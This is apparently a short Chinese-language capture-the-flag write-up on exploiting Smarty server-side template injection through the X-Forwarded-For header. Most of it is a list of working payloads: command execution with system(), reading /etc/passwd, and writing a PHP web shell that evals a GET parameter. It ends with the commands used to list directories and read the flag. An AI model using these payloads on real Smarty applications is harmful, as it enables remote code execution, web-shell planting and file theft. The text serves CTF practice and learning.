打开环境
右上角有ip地址
提示中有xff
我就猜想会不会存在模板注入
这里给一些smarty积累的payload
{system('cat /flag')}
{self::getStreamVariable("file:///etc/passwd")}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php eval($_GET['cmd']); ?>",self::clearConfig())}
常规利用
{$smarty.version} #获取smarty的版本号
{php}phpinfo();{/php} #执行相应的php代码
<script language="php">phpinfo();</script>
{self::getStreamVariable("file:///etc/passwd")}
{if phpinfo()}{/if}
{if system('ls')}{/if}
bp试试 用积累的payload:{if phpinfo()}{/if}
成功打通
所以直接流程
{if system('ls')}{/if}
{if system('ls /')}{/if}
{if system('cat /flag')}{/if}
得到flag
希望这篇文章能够帮助你!